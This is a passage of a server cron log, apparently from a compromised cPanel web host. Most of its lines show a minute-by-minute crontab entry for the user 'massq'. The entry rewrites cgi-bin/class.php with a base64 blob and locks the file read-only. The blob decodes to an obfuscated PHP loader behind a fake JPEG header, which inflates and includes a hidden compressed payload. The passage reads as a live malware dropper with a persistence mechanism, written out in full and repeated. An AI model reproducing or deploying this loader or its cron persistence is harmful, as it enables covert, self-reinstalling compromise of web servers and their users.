"/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 11:47:01 server CROND[30876]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 11:48:01 server CROND[31015]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 11:49:01 server CROND[31073]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 11:50:01 server CROND[31153]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  9 11:50:01 server CROND[31155]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  9 11:50:01 server CROND[31152]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr  9 11:50:01 server CROND[31154]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  9 11:50:01 server CROND[31163]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 11:51:01 server CROND[31268]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 11:52:01 server CROND[31325]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 11:53:01 server CROND[31531]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 11:54:01 server CROND[31576]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 11:55:01 server CROND[31632]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  9 11:55:01 server CROND[31634]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  9 11:55:01 server CROND[31635]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 11:56:01 server CROND[31733]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 11:57:01 server CROND[31800]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 11:57:01 server CROND[31801]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr  9 11:58:02 server CROND[31855]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 11:59:01 server CROND[32007]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
